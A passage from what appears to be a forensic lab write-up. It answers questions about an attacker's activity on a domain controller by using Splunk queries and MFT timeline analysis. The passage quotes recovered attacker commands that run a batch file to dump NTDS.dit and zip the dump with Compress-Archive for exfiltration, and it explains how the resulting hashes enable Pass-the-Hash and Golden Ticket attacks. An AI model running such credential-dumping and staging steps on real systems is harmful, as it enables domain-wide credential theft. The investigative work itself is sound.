
More concerning is the parent command of this process:

cmd.exe /Q /c C:\Users\Public\Desktop\1.bat 1> \\127.0.0.1\ADMIN$\__1754336722.638181 2>&1

This tells us that the ntdsutil command was launched via a batch file named 1.bat, located on the Public Desktop.

Dumping the NTDS.dit file allows attackers to obtain all password hashes for domain accounts. When combined with access to the SYSTEM registry hive (which contains the Boot Key), these hashes can be extracted and cracked offline or used directly in Pass-the-Hash (PtH) and Golden Ticket attacks. This step represents a serious escalation in the attack, transitioning from foothold to complete domain compromise.

Curious about the origin of this batch file, we then pivoted and ran the following Splunk query:

index=main host="DC01" EventCode=1
| search CommandLine=*1.bat*
| table _time, ParentCommandLine, CommandLine 
| sort -_time

This revealed that 1.bat was downloaded from an external IP address controlled by the attacker (10.10.5.199). The presence of an externally sourced script used to dump the domain database is a major red flag and a strong indicator of malicious intent.

Answer: 1.bat

Q18) As you analyze the compromised system, you find a file where the attacker stored the token of the messaging application for later exfiltration. What is the name of this text file?

After compromising a system and gaining access to sensitive data, attackers often seek to persistently extract valuable information, such as credentials, session tokens, or internal secrets. These artifacts are sometimes temporarily written to disk before being exfiltrated over the network or uploaded to attacker-controlled servers.

Since we are now in the Exfiltration phase of the kill chain, our goal is to determine whether the attacker collected any valuable data, particularly tokens used by messaging applications, which may allow further unauthorized access to internal or cloud-based services.

At this point in the investigation, we had already exhausted our Splunk log sources, especially Windows Event IDs like 11 (file creation) and 1 (process creation), but found no reference to any meaningful .txt file storing user tokens.

So, we pivoted to a low-level forensic artifact that offers visibility into all filesystem operations, even those not logged by the OS event log: the $MFT (Master File Table). We had already previously parsed the $MFT using MFTECmd and loaded it into Timeline Explorer. From there, we started examining the filesystem timeline closely around the time when previous malicious activities were taking place, shortly after the initial payload execution.

This file was created at 2025-08-04 18:39:25, within seconds of other credential access and discovery activities. The name of the file, Data_Tokens_20250727.txt, clearly suggests it is being used to store session tokens or credentials, possibly harvested during script execution or memory scraping.

The use of the %TEMP% path (AppData\Local\Temp) is consistent with attacker tradecraft, temporary folders are writable by users and often ignored by antivirus products. Moreover, since these directories are regularly flushed or cleared, they are also used by malware authors to hide evidence in short-lived attacks.

We suspect that one of the previous malicious scripts (such as hose.cmd or components extracted from the compiled AutoIt payload) performed a token scraping operation and dumped the result into this file. From there, the attacker could have retrieved the file via a C2 channel, or scheduled it for exfiltration through a script or beacon callback.

This file does not appear in the traditional Windows Event Logs, confirming the need for filesystem-level analysis (via MFT) during deeper forensic stages of an investigation.

Answer: Data_Tokens_20250727.txt

Q19) The attacker stored sensitive dump data in a compressed archive before exfiltration. What is the name of that archive file?

As we continue into the Exfiltration phase of the attack, we shift our focus from how data was accessed to how it was prepared and stored for extraction. One common tactic used by threat actors post-compromise is to compress large files (such as credential dumps, system backups, or domain databases) into a single archive, which can then be more easily exfiltrated over the network or retrieved later through a C2 channel.

In a previous investigation step (Q17), we confirmed that the attacker used ntdsutil.exe to dump the contents of the NTDS database, the central repository for user accounts and secrets on a Windows domain controller. This database was dumped into a folder under:

We began our search on the Domain Controller (DC01) by querying Windows Event ID 1, which logs process creation events, specifically looking for known compression and archiving utilities such as Compress-Archive or 7z.exe. This database was dumped into a folder under: C:\Users\Public\ntdsutil

Knowing this, our next step was to determine whether this directory was compressed into a single file that could later be exfiltrated.

We began our search on the Domain Controller (DC01) by querying Windows Event ID 1, which logs process creation events, specifically looking for known compression and archiving utilities such as Compress-Archive or 7z.exe.

index=main host="DC01" EventCode=1
| search CommandLine=*Compress-Archive* OR CommandLine=*7z*
| table _time, ParentCommandLine, CommandLine 
| sort -_time

While parsing the results of this query, we discovered the following command:

powershell -c Compress-Archive -Path C:\Users\Public\ntdsutil -DestinationPath C:\INFO_20250730.zip

This command uses the built-in Compress-Archive cmdlet to recursively zip the contents of the ntdsutil folder into a file named INFO_20250730.zip.

This behavior fits neatly into the T1560.001 – Archive via Utility technique under MITRE ATT&CK, where the attacker prepares collected data into an archive using native utilities. The use of PowerShell in this case helps avoid reliance on third-party tools, keeping the footprint low and making the operation stealthier.

Answer: INFO_20250730.zip